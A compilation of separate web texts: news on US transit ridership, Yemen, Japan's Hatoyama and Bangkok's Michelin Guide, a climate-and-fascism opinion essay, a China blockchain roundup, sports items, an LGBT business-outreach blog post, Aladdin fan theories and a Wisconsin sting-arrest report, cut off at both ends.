the status quo is precisely what intrigued Agee. That and the camera angles and use of lighting that conveyed much more than good vs. evil in it’s heightened black and white status.
-The number of Americans using public transportation rose to the highest level in more than 5 decades, as higher gas prices caused commuters to turn in their cars in favor of buses and subways.  There were 10.7 billion trips taken on public transit in 2008, a 4 percent increase over 2007, according to the American Public Transportation Association.  “Now, more than ever, the value of public transportation is evident, and the public has clearly demonstrated that they want and need more public transit services,” said APTA President William W. Millar.  What is particularly surprising, is the fact that after gas prices dropped back below a national average of $2 a gallon, the the new riders didn’t fall back to their old habits.  “You would normally have expected with lower gas prices, a declining economy and rapidly growing unemployment that transit ridership would have been down,” said William W. Millar, the transportation association’s president. “It appears that many of those people, once they tried public transit, found that it suited their needs.”  Advocates hope to use the recent upsurge in public transport to push for federal funding beyond the $8.4 billion in stimulus money set aside for transit.  “These are investments that pay off for decades and decades to come,” Millar said.  Ridership was up on all modes of public transportation in 2008.  Subways saw an increase of 3.5 percent, while buses gained by 3.9 percent and commuter rail ridership enjoyed a jump of 4.7 percent in 2008.  The survey also found that bus ridership in areas with a population under 100,000 rose 9.3 percent. Those areas routinely have to wait an hour for their scheduled bus to arrive, which shows a dedication of the riders to use public transport.  As public transport increased by 4 percent compared to the year before, Americans also took many fewer trips by car, according to the Department of Transportation.
-Sooner or later, climate change will consume our economy. If we are wise, we will let this happen sooner, and make massive preemptive investments into green energy and sustainable infrastructure; this will cost a lot up front, but it will mitigate even greater costs down the road. More likely, we’ll kick the can down the road, and then we’ll find ourselves paying for disaster relief, mass migrations, civil unrest, plague, famine, and everything else that comes with global warming. One way or the other, we’ll pay. Estimates vary, but the more plausible ones hover around a third of GDP.  In developing countries experiencing significant economic growth, this will be manageable. In developed countries that have already made big investments in infrastructure and green energy, this will be manageable. But in the United States, where growth will probably slow and where our investments are low, this is going to hit our economy hard.  Couple this with so many other trends of late capitalism — outsourcing, inequality, wage stagnation — and the prospects for your average American over the next fifty years look pretty grim. Liberalism will have no answer for this. It will offer the same useless panaceas it always has — vocational training, targeted tax cuts, business subsidies, and so on – but it will offer them to generations who’ve only seen their living standards fall and their futures disappear.  Did I mention mass migration?  A discredited ruling ideology, declining standards of living, the memory of lived prosperity and absolute despair for the future: this is as toxic a society as you can imagine. Now add to that waves of immigrants fleeing the storms and heat waves of South and Central America; an increasingly violent, militarized border, paired with an increasingly aggressive ICE; the continued decline of white Americans into a national minority; and a wealthy elite, controlling the most powerful propaganda apparatus in history, desperate to find a scapegoat for the country’s ongoing deterioration.  This is fascism’s pincer: economic pathology on one side, ethnonationalism on the other, and a middle class driven by radical resentment. You can already see the first glimmer of this in the polo shirt neoconfederates who spilled blood in Charlottesville — a frustrated, revanchist mob of white suburbanites who see in their falling monuments the end of their power and prestige. Their rage is already scary enough, but it is only going to get worse.  There is only one way out of this: redistribute to the rest of society the vast wealth hoarded by our (largely white, first-world) ruling class. Redistribute the wealth, guarantee everyone a decent standard of living with all of the necessities that entails, and you can undercut the tribal wars for survival and domination that capitalism constantly threatens to inflame. Redistribute the wealth — particularly to the developing world — and maybe you can buy some time in the fight against climate change, or even soften the blow when it eventually hits.  You are not going to solve all of society’s problems by redistributing the wealth. Racism will still be with us. The political and cultural legacy of white supremacy will still be with us. Our planet will still be poisoned and depleted from centuries of industrialized destruction. Fifty years from now, the Left will still have plenty of work to do — but if we try to fight these battles when we’re caught in fascism’s pincer, our chances for survival are slim.
-Word in China is out about blockchain technology, as the government made clear in an Informatization Strategy published in December of 2016. The strategy states, "The internet, cloud computing, large data, artificial intelligence, machine learning, blockchain … will drive the evolution of everything - digital, network and intelligent services will be everywhere."  It was an official endorsement for the new digital age and a big boost for blockchain technology.  In a country with $5.5 trillion in digital payments last year (50 times the U.S.), blockchain is now a buzzword among the titans of industry. And in the race to participate, Chinese banks, builders, suppliers and retailers are pumping out blockchain solutions.  Survival of the Fittest  Even with millions of dollars, many of these new blockchains may not make it very far. In a recent WeChat post, Antshares executive Erik Zhang stated that 90 percent of the enterprise blockchains we are seeing are doomed to fail. Without an open-source code that anyone can build upon, Zhang argues, private solutions will not see the network effect of a healthy ledger.  The big question for China, however, is whether a country known for its centralized authority, and a penchant for all things made-in-China, will allow an open-source, global standard solution sit on its internet. With Bitcoin, Ethereum and Hyperledger vying for dominance, there are big names within China making moves into the space.  A few of these big names include:  The People's Bank of China (PBOC) - The PBOC is reportedly close to the release of a government-backed digital RMB currency, which would put China at the frontier of digital currency adoption. And there are whispers within China that Shenzhen will be ground zero for the new digital economy. In September, Bloomberg reported that PBOC Vice Governor Fan Yifei wrote: "[T]he conditions are ripe for digital currencies, which can reduce operating costs, increase efficiency and enable a wide range of new applications." This would pave the way for blockchain startups in China to move forward in digital banking, finance, record-keeping, supply chains, IoT, AI and more.  Wanxiang Blockchain Labs - Working with Ethereum, Wanxiang is the largest blockchain development backer in China. After purchasing 500,000 ETH tokens last year, they pledged $30 billion for the development of a smart city in Hangzhou. They offer open-source platforms for anyone to build upon, and launched an accelerator fund for developers, intending to put money into promising projects and integrate digital apps into China's 21st-century cities.  At a recent Fintech Summit in Hangzhou, Dr. Xiao Feng, GM of Wanxiang Blockchain Labs, said, "The first generation of internet technology has brought great changes to society. In China great companies like Alibaba, Tencent and Ant Financial have emerged. The blockchain represents the second generation of the internet," adding that big changes will come with artificial intelligence, encryption, decentralization, finance and the transfer of value.  Wanda Group - Wanda Group is the world's largest private property developer, with its own hotels, theme parks, shopping malls, AMC Theatres, media companies and department stores.  In 2016 Wanda joined Hyperledger, intending to build smart apps for its businesses. Five months later, Wanda announced its blockchain platform Polaris for smart supply chains, pharmaceutical management, finance and invoicing. Now the company is working with China's Ministry of Industry and Information to draft domestic blockchain standards and a Chinese blockchain white paper.  And Wanda insists Polaris will be an open-source blockchain for all. When announcing Polaris at the Shanghai Hyperledger Hackathon in March, Ji Zhoudong, GM of Wanda Feifan Technology Research Center, said, "Wanda attaches great importance to being open source, the core of which is to foster progress through community, openness, collaboration and sharing."  Alibaba - Alibaba took a small step onto the blockchain in March, when it teamed up with PwC to build a pilot platform to prevent counterfeit foods. Food fraud is a big issue in China, as are fraudulent goods across Alibaba's many online platforms. If the pilot is successful, blockchain tracking may be applied to all goods on Alibaba's supply chain.  Alibaba's financial arm, Ant Financial, is also embracing blockchain technology, as CEO Eric Jing recently told CNBC . According to Jing, "[T]hese technologies will be used … to bring more, a high level of security," also saying that in the future, artificial intelligence and blockchain will be "deeply" integrated into Ant Financial's business.  ICBC - The largest and most valuable bank in the world, ICBC is adapting quickly to the fintech revolution. Speaking at a conference in March 2017, ICBC's Huiman Yi said, "We place great importance on the research of advanced technology and the cultivation of technical talents. We have established seven innovation labs in ICBC's head office for artificial intelligence, cloud computing, blockchain, bioidentification, big data and internet finance." And according to Yi, a blockchain-based financial trading system is coming to the public soon.  Other Chinese companies making moves onto the blockchain include:  Foxconn - The producer of Apple's iPhones (for supply chain finance)  JD.com - A leading online retailer (for consumer finance applications)  Juzhen Financials - Banking and finance (to bring distributed tech to financial markets)  Zhongnan Construction - A property conglomerate (for trading agricultural products)  CreditEase - Microfinance and wealth advisors (as a supply chain tool for businesses)  Shanghai Insurance Exchange - An insurance trading platform (for securing trades)  Qtum - To bring decentralized applications to China  Antshares - For decentralized registration and issuing, transactions, settlements and blockchain-based digital payments  Who Will Rule the Kingdom?  Just before Ethereum's Devcon2 in Shanghai, Vitalik Buterin tweeted , "Chinese ethereum community full steam ahead." Since then, blockchain tech has taken Chinese industries by storm.  With so many new blockchain solutions, it's hard to keep an eye on the developments in China. Things are moving fast, and it's great to see such energy devoted to the technology. As word continues to spread, expect to see more Chinese blockchains entering the fray, until we see leaders emerge, and then consolidation. In the meantime, grab a noodle bowl and watch it all unfold and marvel at the swiftness of China's blockchain invasion.
-At least 35 Yemeni soldiers were killed and more than 60 others wounded in a major attack Saturday on forces allied to a Saudi-led military campaign.  Though no group has yet claimed responsibility for the blast, extremists from the so-called "Islamic State" have claimed responsibility for most attacks in recent months mainly targeting security forces.  The explosion happened near a military camp in the northeastern part area of Al-Sawlaban near the city's international airport as a crowd of soldiers gathered to pick up their salaries, an official told the German news agency DPA on condition of anonymity.  Aden, the provisional capital of Yemen's Saudi-backed government, is at the center of a civil war with the Iran-allied Houthi rebels.  Saudi Arabia intervened in Yemen's civil war in March 2015 to fight the government's foes in the Iran-allied Houthi movement but has failed to dislodge the group from the capital, Sanaa, despite thousands of airstrikes. About 10,000 people have been killed in the ongoing conflict.  Watch video 00:55 Share Yemen: crippled by hunger and war Send Facebook google+ Whatsapp Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/2RgvB Yemen: crippled by hunger and war  jbh/sms (AFP, dpa, Reuters)
-Essendon has made one change for its match against Richmond in the Dreamtime at the ‘G clash on Saturday night.  Tom Bellchambers replaces Matthew Leuenberger, who has been left out of the side because of illness.  The Bombers will be looking to record their third straight win after victories over Geelong and West Coast in the last fortnight.  Richmond v Essendon  Saturday May 27  7:25pm  MCG  In: Tom Bellchambers  Out: Matthew Leuenberger (illness)  B: Matt Dea, Michael Hurley, Mark Baguley  HB: James Kelly, Michael Hartley, David Myers  C: Orazio Fantasia, Zach Merrett, David Zaharakis  HF: James Stewart, Cale Hooker, Travis Colyer  F: Anthony McDonald-Tipungwuti, Joe Daniher, Darcy Parish  R: Tom Bellchambers, Dyson Heppell, Jobe Watson  I: Andrew McGrath, Brendon Goddard, Josh Green, Conor McKenna  E: Jackson Merrett, Craig Bird, Heath Hocking  Ahead of Saturday's match a The Long Walk's 'We Walk Together' event will be held at Federation Square from 1pm. The Long Walk will depart for the MCG at 4:15pm.
-For most of 25 years, the Timberwolves lacked talent, luck and organizational savvy. The team mascot should not have been named Crunch. The team mascot should have been named Ibid.  This year the Timberwolves look like failures once again. They are 12-28. They have lost their past eight games. The have the second-worst record in the Western Conference. The only team with a worse record, the Lakers, has openly dedicated the season not to building or winning, but to honoring Kobe Bryant at any cost.  This appears to be another bad team slouching through another bad season in front of remarkably small crowds at Target Center. But this is not a typical bad Timberwolves team.  This team has talent. This team has benefited from luck. This team’s roster is the result of organizational intelligence.  Talent? Andrew Wiggins is one of the league’s best and most promising young players. Karl-Anthony Towns is the best of a strong crop of rookies. Ricky Rubio is a valuable player. Zach LaVine is one of the league’s most gifted athletes. Shabazz Muhammad is one of the best bench scorers in the league. Nemanja Bjelica is 6-10 and can shoot and pass.  Luck? Landing the top pick in the draft lottery is always a matter of good fortune.  Sam Mitchell is running an offense that doesn’t emphasize the three-pointer, a killer in the NBA these days.  Organizational intelligence? The roster contains excellent young talent, depth and veteran leadership. The trade of Kevin Love for Andrew Wiggins was ideal. And the Wolves didn’t need to sacrifice future assets to put this team together.  In most ways, the Timberwolves are better positioned to win now than they ever have been, and yet they are playing as poorly as any team in the NBA over the last month, even as poorly as some franchises that aren’t attempting to win.  The Wolves have demonstrated a lack of offensive structure, an inability to run and an inability to make intelligent plays down the stretch, despite the presence of skilled and talented players.  The Wolves have failed to incorporate the three-point shot into their offense, especially the three-pointer from the corner, the cornerstone of the modern NBA offense.  The problems do not seem to be rooted in attitude. Rubio, Wiggins, Towns and LaVine, the team’s most important players, offer effort.  LaVine did recently note that Sam Mitchell’s hard coaching has at times seemed to him ‘‘unfair.’’ That might have been the most telling quote of the season.  Mitchell was an admirable player. He won the NBA Coach of the Year award with Toronto. I thought he was worth a look as a head coach for this group. We have had a good, long, look.  Mitchell has had his chance. He has coached a talented young team for 40 games. He has produced 12 victories and no sense of progress for a team that should be defined by progress.  Timberwolves owner Glen Taylor promised to give General Manager Milt Newton and Mitchell a year to prove they should keep their jobs. Newton helped build a talented roster and can’t be fairly judged until he conducts a draft or two and delves into free agency on his own. Mitchell’s situation is different. He is coaching players who are much more important to the organization than he is. If there are any signs that he is not the right person to develop Wiggins, Towns, LaVine and Muhammad, he needs to go.  If this was going to be a season spent evaluating an interim coach, there is an in-season solution that may benefit the organization in many ways. Taylor could hire Kevin McHale as Interim Coach Part II.  McHale is a gifted offensive coach. He would increase the Wolves’ pace of play, which should benefit an athletic roster. He would reinvigorate a fan base that rapidly lost interest in what was supposed to be an entertaining team. And if he proved to not be the right fit for this team, the Wolves could conduct their expected coaching search this summer having vetted two coaches worthy of consideration instead of just one.  Jim Souhan’s podcast can be heard at MalePatternPodcasts.com. On Twitter: @SouhanStrib. jsouhan@startribune.com
-Thanks for checking out part 5 of 6 of the Maximizing your LGBT Outreach with a Solid Plan. This has been such a great series of posts to write for you. Many of you have taken the time to write to me and express how this has helped you and I really appreciate that. In this post we are going to answer the question, What steps will I take to start building relationships?  This is a really fun topic for me as I am always connecting with new people and matchmaking those I know would be a good fit for one another. The excitement for this topic may be partially due to my position as an executive director of an LGBT chamber of commerce for 3+ years. In that capacity it was my job to be a connector and to be a builder of relationships. I learned a great deal about business in that position and I have a few tips to share here.  The most important thing I am going to say here is – You have to view your relationship building approach from a strategic lens. Most of us in business have heard of the “Know, Like and Trust Factor,” but have you ever given thought to how people come to know, like or trust you? Below I’m going to provide some tips and advice for becoming that person.  How can you expect people to know who you are if you aren’t out networking? Networking is the name of the game in business. But you have to have a vision and a purpose when you are networking. Going to an event and being a wallflower, talking with people you already know and not actively searching for new people to connect with isn’t going to expand your reach and build your database of connections.  So how do you change this? You need to step outside of your comfort zone. Yes, it can be scary. But to grow your skills and grow your business, you just have to do it. Find a wing-man or wing-woman who is good at networking and ask them to attend an event with you. Observe what they are doing and then jump in. You may feel anxious, but remember the person you are walking up to could be feeling the exact same way you are, regardless of how well polished or confident they may seem.  So, how do you get people to like you? This is a question some people have been asking themselves since the dawn of time. I’m here to tell you there are simple ways to help you accomplish this. In a business setting the number one thing I find that works amazingly well to getting people to like you is by focusing on what you can do for others and not what others can do for you.  Being that pushy person who is handing out hundreds of business cards at an event without having a real meaningful conversation is a surefire way for peoplenot to like you. Or at the very least not return your calls or e-mails when you reach out. Focusing on how you can be of value to someone else makes you a resource. Being a resource and a connector can serve you well in business. I am always making introductions and connecting people I think will be a good match together. It doesn’t cost me more than a few minutes of my time to make the introduction and if they are a good match, they will remember I’m the one who connected them. That leaves a positive image of me in their minds.  Trust is a big one. People need to feel like they can trust you. Have you ever been to an event where you can immediately find the gossip in the crowd? Yep – thatperson. Don’t be him/her. Business associates and colleagues need to feel like they can trust you, but you need to demonstrate that they can. Remember actions speak louder than words. You can do this by not talking badly about your competition, past clients, past relationships, etc. The last thing you want is for people to think you are the engine in the rumor mill. If you talk like that to them, how do they know you aren’t talking about them to others?  On any given day sensitive information comes my way. I’ve opened my lines of communication and trust with people because they understand that telling me something means that I’m not going to repeat it. Simple as that. It may seem like pretty common sense but you’d be surprised at how many Negative Nancy’s there are out there talking badly about those in the community around them. Make note of how you talk to other people and what you say. If you find yourself going down the gossip trail, make a conscious note of it and try better next time. Over time you’ll find more people confiding in you for being the person they feel they can trust.  So, now that you have some basic tips to get you started – let’s think about what strategies you can use in your outreach to the LGBT community. Ask yourself some of these questions – Will you place an ad in the local LGBT media? Will you attend a big gala in your area? Will you volunteer for a local LGBT non-profit organization? To build quality relationships and your reputation you need to be active. You could be volunteering, putting an ad in the local LGBT media and attending a big gala, all in one shot. Most gala’s have program books and volunteer committees. These are 3 good ways to get your name and face out there. Becoming a regular for any particular group in your area is a good start. Be consistent and be regular. Showing up to one thing every 3 months doesn’t keep you top of mind for anyone. Find ways to have your name always in front of the people you want to do business with.  Let’s take it to the next level – go grab a piece of paper or open up a Word document. Now, make yourself a list. Write down these 3 steps.  Step 1: Write down a date two weeks from now. Next to it – make a list of ways you can get more involved. Such as; talking with current LGBT clients and finding out why they do business with you. Learn what makes you unique. Now use that new found information and determine where the best use of your time is. Get involved in the community through a business organization, a non-profit that correlates to your field of work, or even by becoming a mentor to an LGBT college student. Research the different ways you can become involved.  Step 2: Write down a date one month from now. Next to it – make a list of the specific organizations you previously researched that you have decided you want to be involved in. Whether it’s the local LGBT chamber, pride center, professionals group, etc. Do some additional research, narrow down the organization that best suits your needs and reach out to the main contact at each organization and schedule a meeting.  Step 3: Write down a date 6 weeks from now. Next to it – make a list of ways you can market your business to the LGBT community. Can you develop a marketing piece, a brochure or postcard of your products/services that is specific to the new organization you are involved in? Can you create a new website positioning yourself as the go to person to do business with? For example, if you are a lesbian realtor – you could get the domain name of “YourLesbianRealtor.com.” Be creative – there are a lot of opportunities for you. The key here is to be specific and focused.  Combine the 3 steps outlined above with the previous work you have done in building your strategic LGBT outreach plan and you are well on your way to success and recognition in your community.  Looking for the other parts of this series? Catch up on them here.
-What seems clear, analysts said, is that while Japanese were sympathetic to putting the relationship on a more equal footing, they shied away from more fundamental changes, in a country that still views Washington as a largely benign protector.  “The Japanese public was not willing to follow Hatoyama down this path of Futenma and changing the alliance,” said Izuru Makihara, a professor of politics at Tohoku University in Sendai, Japan, referring to the American base, United States Marine Air Station Futenma. “The consensus is that Japan needs the United States, with China and North Korea nearby.”  Mr. Hatoyama’s sudden departure left his Democratic Party scrambling to find a new leader to restore a sense of direction for a party that had swept into power with high hopes last summer in a landslide. The party’s control of Parliament’s Lower House ensures it will hold on to power despite the resignation.  Party members gathered behind closed doors to select candidates for an internal party vote on Friday that will elect Mr. Hatoyama’s successor. The finance minister, Naoto Kan, 63, a former leader of the Democratic Party, emerged as an early frontrunner.  As the party moves to choose Japan’s sixth prime minister in four years, many in Japan see Mr. Hatoyama as having frittered away his party’s historic electoral mandate on the seemingly minor issue of relocating a single American military installation.  In truth, his government faltered on a host of issues, including scandals over political financing; an inability to deliver on other campaign promises like eliminating highway tolls; and the party’s failure to focus on pocketbook issues affecting voters, like unemployment or Japan’s anemic growth rates.  Photo  Still, Mr. Hatoyama’s handling of the base issue seemed to crystallize all that went wrong with his short-lived government, including what many Japanese saw as its fatal flaw: his own indecisiveness. The prime minister seemed to waffle between appeasing Washington and assuring Okinawans that he would honor his campaign vows.  Advertisement Continue reading the main story  During last summer’s election campaign, Mr. Hatoyama pledged to end Japan’s dependence on the United States, and improve ties with China and the rest of Asia. His fall is a blow to China, which had hoped to expand its influence in Japan.  The centerpiece of Mr. Hatoyama’s push was a pledge to move the Futenma base and its noisy helicopters off Okinawa. But Mr. Hatoyama ran into fierce resistance from the Obama administration. Eager to establish that the United States was not retreating from Asia, it refused to back down from a 2006 agreement to relocate the base to a less populated part of the island.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  During a visit to Japan last October, Defense Secretary Robert M. Gates made it clear he had no intention of reopening negotiations.  Public opinion turned against Mr. Hatoyama’s handling of Japan’s crucial relationship with Washington. His government’s approval ratings plummeted from more than 70 percent in September to the high teens in recent weeks.  In the end, the lack of support, and what Mr. Hatoyama called his belated recognition of the importance of the Marines as a deterrent, forced him to accept most of the 2006 agreement. He resigned a week later, as he appeared to be a heavy liability for the Democrats facing parliamentary elections on July 11.  Analysts say that the public did not reject all aspects of Mr. Hatoyama’s agenda. His calls for building a more equal relationship with the United States resonated in Japan, which has grown weary of its junior status in the alliance.  “Hatoyama tapped into the feeling of many Japanese that it is time to rethink their nation’s place in a changing world,” said Takashi Kawakami, a professor who specializes in security issues at Takushoku University in Tokyo. “But wanting to be treated as an equal by Washington is not the same as wanting to be independent of Washington.”  A curious aspect to Mr. Hatoyama’s fall is that for decades the United States has sought to loosen the Liberal Democratic Party’s hold on the country. But the two governments that succeeded in doing so — one in 1993-94, and the current one — simply could not pull the levers of power, leaving American officials deeply frustrated.  Once a new leader is in place, “I do think there will be a desire to exhibit a different kind of management from the outset,” said a senior administration official, who spoke on condition on anonymity because he was not authorized to speak publicly.  Advertisement Continue reading the main story  Analysts said there were lessons in Mr. Hatoyama’s fall for the Obama administration. Sheila A. Smith, a senior fellow for Japan studies at the Council on Foreign Relations, said American officials did not initially show enough patience with the new government. “There was responsibility on both sides,” she said.  One immediate upshot of Mr. Hatoyama’s failure will most likely be that his successor will avoid making big changes in foreign policy, in favor of focusing on domestic issues.  “Hatoyama self-destructed on Futenma,” said Mr. Kawakami of Takushoku University. “His successor is not going to want to touch that issue.”
-thumb|150px|link=Aladdin is a 1992 American animated film produced by Walt Disney Feature Animation and released by Walt Disney Pictures. The film was directed by John Musker and Ron Clements, and is based on the Arab folktale of Aladdin and the magic lamp from One Thousand and One Nights.  The Merchant is the Genie  This is the most widely accepted version of the theory. It describes how the Merchant from the first scene is actually the genie in human form. This makes sense because Robin Williams voices both characters and the Merchant has the same lamp as the genie. Another variation of this same theory says the man made the entire story up just to sell the lamp.  Post-Apocalyptic Aladdin  In one scene of Disney's Aladdin, Genie calls Al's clothes "so last century". Genie was trapped in the lamp for 10,000 years, so there is no way he could have known about the fashion trends which could have happened whilst he was in the lamp. This means the latest Genie could have been trapped in the lamp during the third century. If he spent 10,000 years in the lamp, it is then at least 10,300 AD when he gets out.  Aladdin takes place in the future, or more exact, a post-apocalyptic world where only Arabic (and some Greek) survived. Its been so long that the name "Arabia" has been corrupted into "Agrabah". The Islamic religion has atrophied to the point where there are no mosques, Imams or prayer mats, but people still give praise to Allah in moments of happiness. Amazing technological marvels left behind by the previous civilization, like flying carpets or genetically engineered parrots which can comprehend human speech instead of just mimicking it, are taken for granted by locals or considered “magic”. The Genie proves this by making impressions of ancient, long-dead celebrities such as Groucho Marx and Jack Nicholson.  In addition to this, in the Aladdin genesis video game there is a modern-day stop sign buried in the sand, as well as a number of bones and skeletons. (http://youtu.be/bfLyK_msMTY?t=9m17s)  Arguments Against This Theory  Because Genie is a genie, he is an omnipotent being with a different perception on time and reality, similar to a time lord from Doctor Who. Genie did not have to be alive back then to have infinite knowledge of a certain culture - rather, he is just making a quick joke. Some may argue "well why would he do that if Aladdin wouldn't get the jokes?" Leading theorists argue that Aladdin wouldn't have understood the jokes the Genie was referencing, but after 8000 years Aladdin would not even know who Groucho Marx was. Agrabah, magic and the Islamic religion could just as easily have evolved over thousands of years, instead of devolving. Lastly, Genie says "indoor plumbing is going to be huge", using future tense and showing that he knows what will happen in the future.  As the video game is not directly canon, it may not be that much of a support for this theory.
-(CNN) — Bangkok is no stranger to the Michelin Guide halo -- in fact, visiting chefs touting their overseas star credentials are a regular sight in culinary establishments across the city.  Now it finally has a Michelin Guide of its own.  On December 6, 2017, the Bangkok culinary landscape became brighter overnight -- 20 stars brighter to be exact -- with Michelin accolades dished out to 17 establishments.  Among them is Jay Fai (named after the chef-owner of the street food shophouse restaurant who presides over her open kitchen wearing signature oversized goggles) who was awarded one Michelin star.  The highest accolade was two stars, which went to three establishments -- the progressive Indian restaurant Gaggan, whose inclusion in any best-of Bangkok dining list should come as no surprise to anyone, Le Normandie which opened at the Mandarin Oriental Hotel Bangkok in 1958, and Mezzaluna at Lebua Hotel.  Already renowned as a street food destination, Bangkok -- the seventh Asian territory to be rated by Michelin -- has now risen up the culinary ranks to join the likes of Tokyo, Singapore and Hong Kong/Macau -- even if the Tourism Authority of Thailand did have to dangle a reported 144 million Thai baht ($4.4 million) partnership to get them there.  Related content 40 great dishes you can get in Shanghai  "Michelin Guide elevates everything"  Le Normandie was one of only three establishments to be awarded two stars at Michelin Guide Bangkok 2018. Le Normandie  The winners of Michelin Guide Bangkok 2018 were announced in a gala dinner at Siam Kempinski Hotel Bangkok.  Following in the footsteps of Singapore, who was the first country globally to do so, the awards ceremony was complemented with a gala dinner open to the public.  Those who weren't lucky enough to be invited to the Bangkok event had to shell out 20,000 Thai baht ($614) per ticket, which included a six-course gala dinner prepared in part by three chefs from overseas Michelin-starred restaurants.  Chef Chan Yan Tak from the three-starred Lung King Heen at Four Seasons Hotel Hong Kong, Thierry Marx from the two-starred Sur Mesure at Mandarin Oriental Paris, and Henrik Yde Andersen of one-starred Kiin Kiin in Copenhagen, the latter who "conceptualized" Siam Kempinski's Sra Bua restaurant, all took part.  Other guest chefs included Thaninthorn Chantrawan of Chim by Siam Wisdom, Yannis J. Janssens of L'Atelier de Joel Robuchon Bangkok , Chayawee Sutcharitchan of Sra Bua by Kiin Kiin and Bee Satongun of Paste, each of which went on to receive one Michelin star.  The arrival of the Red Guide is considered a positive for the city by restaurateurs and chefs.  "The Michelin Guide elevates everything in one day," said Gaggan's chef Gaggan Anand, who earlier this year announced plans to close his restaurant in 2020 to focus on new projects.  "It changes Bangkok from the street food capital to the gourmet capital of the world."  Related content World's 50 best foods  Melting pot of flavors  Chef David Thompson's Nahm at Como Metropolitan Bangkok received one star. Nahm  A variety of cuisines were represented on the night, including Thai, French, Indian, European, Japanese, German and American.  "Locals are having street food for lunch and fine dining for dinner, and depending on the mood you have a wide choice of cuisines," said chef Thomas Sühring, one half of the duo behind contemporary German restaurant Sühring. "It is with this culinary scene that Bangkok is becoming one that can compete with other great cities in Asia."  Over 15 years ago, Nahm at the Halkin Hotel in London put Thai food on the Michelin map when it was awarded one star not long after it opened in 2001.  The original Nahm has since closed, but proving the star-worthiness of its food, chef David Thompson's second -- and now only -- Nahm at Como Metropolitan Bangkok, was also awarded one Michelin star.  Thai restaurants with Michelin stars are still a bit of a rare breed -- Kin Khao in San Francisco comes to mind, as does Kiin Kiin in Copenhagen.  Considering the country's tourism board partnership with the Michelin Guide, it's perhaps not surprising that Thai food was well represented, with seven of the total 17 Michelin-starred restaurants serving Thai cuisine.  "I'm very pleased that Thai cuisine is represented in the guide, because if you talk about flavors, Thai food has flavors," says chef Norbert Kostner, the former executive chef and later culinary director at Mandarin Oriental Bangkok where for nearly 40 years he helped shaped the fine dining scene of the Thai capital.  Perfectly timed with the arrival of the Michelin Guide, local food has been a core tourism product identified by the Thai tourist board for 2018.  "The Michelin Guide will be a boon for the Michelin star and Gourmand Bib winners, especially for Thai restaurants, as it will provide foreign visitors to Thailand with a trusted resource of recommendations," said Thanaruek "Eh" Laoraowirodge, owner of Supanniga Eating Room, whose three branches in Bangkok plus a dinner cruise serves some of his grandmother's traditional Thai recipes (amongst other things he also co-owner of Somtum Der , whose New York outpost was awarded one Michelin star in 2016.)  Stars on the streets  Bangkok street food vendor Jay Fai was awarded one Michelin star. Jay Fai  If the Michelin stars are categorized as "very good in its category" (one star), "excellence worthy of a detour" (two stars), and "exceptionally worth a long journey" (three stars), then surely there are plenty of street vendors across the city worthy of a two star -- just ask any of the hungry locals who drive across town for their favorite food cart or hole-in-the-wall joint.  A total of 28 street food stalls were included in the Michelin Guide 2018, but only one made it to the Michelin star list -- the one-starred Jay Fai.  The remaining were listed in the Bib Gourmand list, which included a total of 35 restaurants noted for their good value for money with a quality menu not exceeding 1,000 Thai baht ($31). This included Guay Tiew Kua Gai Suanmali, Baannai and Soul Food Mahanakorn  Taste of success  For the winners, the Michelin stars may be the start of a bittersweet journey.  Earlier in the year, chef André Chiang made headlines when he said he wanted to "give back" Restaurant André 's two Michelin stars in Singapore, following a trickle of chefs over the years who have asked to be dropped out of the guide for reasons ranging from the cost, both creative and financial, to maintain the prestige.  Other winners take the accolade with a pinch of salt.  "I am judged for everything I do. But my food is the same on December 5, December 6, or December 7," says Anand, whose restaurant has already topped rival guide Asia's 50 Best Restaurants list three years in a row from 2015-2017.  Any awards, culinary or not, are not without its naysayers, but in the end the diner always wins.  "There's a lot of competition in Bangkok already, but the Michelin Guide will bring it up a bit more, which is good," says Kostner.  The long term Thai resident adds that, when compared to other awards including Asia's 50 Best Restaurants and BK Top Tables , Michelin Guide has the most prestige, but he suspects that coming up with this year's selection would have been a difficult task for the inspectors.  So will Thailand follow in the footsteps of Japan and China, countries with Michelin Guides covering two different territories?  The tourism board has been dropping hints that "other major destinations" may be covered by the guide in following years, but some have their doubts whether other Thai cities are ready for the Red Guide.  "At the moment we believe that the dining scenes in other cities are not strong and developed enough, such as Chiang Mai and Phuket which are considered too much as tourist destinations," says Mathias Sühring.  "However it's just a question of time -- Bangkok has changed so much in only 10 years that anything is possible for the other big cities in Thailand."  Two stars  Gaggan (progressive Indian)  Le Normandie (French)  Mezzaluna (European)  One star  Chim by Siam Wisdom (Thai)  Bo.lan (Thai)  Saneh Jaan (Thai)  Sra Bua by KiinKiin (Thai)  Jay Fai (Thai)  Ginza Sushi ichi (Japanese sushi)  Sühring (contemporary German)  L'Atelier de Joël Robuchon (contemporary French)  J'AIME by Jean Michel Lorrain (contemporary French)  Elements (contemporary French)  Savelberg (contemporary French)  Paste (Thai)  Nahm (Thai)
-by Larry Lee  UNDATED (WSAU) - Fifteen people have been arrested in central and eastern Wisconsin after a coordinated effort to crack down on child sex trafficking. Another Wausau man was arrested for trying to solicit an adult prostitute.  The arrests were made as part of Operation Black Veil II, and involved Marathon, Shawano, and Outagamie county sheriff’s departments, and police from Wausau, Shawano, and Oshkosh between last Wednesday and Saturday.  Marathon County Sheriff Scott Parks says the operation targeted online predators who solicit children for sexually explicit conduct by using online advertising in places like Craigs List. “It’s not necessarily just Craig’s List, actually, it’s just a number of different sites and various computer access that is conducted and the efforts are made to locate individuals who are preying on our children.”  Parks says this type of operation shows there are still many people who would take advantage of children, which makes him both frustrated and sad. “It’s actually frustrating and sad at the same time. Frustrating about the fact that there are these persons out there. It’s the third time that the operation has been run, but yet we still see a number of people that are involved with these type of activities. Sad, because once again, it’s up to parents and law enforcement to protect our children with the onus on both of us.”  The Sheriff says this is another example of how important it is for parents to watch what their children are doing on the Internet to help keep them safe. “It’s up to parents to monitor what their children are involved in, their Internet access and the persons that they are basically conversing with online, because there are a lot of predators out there who would like to prey on these people.”  21-year-old Pravong Colin Thongdara was arrested by Wausau Police and charged with child enticement and use of a computer to facilitate a sex crime. 39-year-old Brian A. Uttecht was arrested by Wausau Police and charged with soliciting for an adult prostitute. 23-year-old Shayd C. 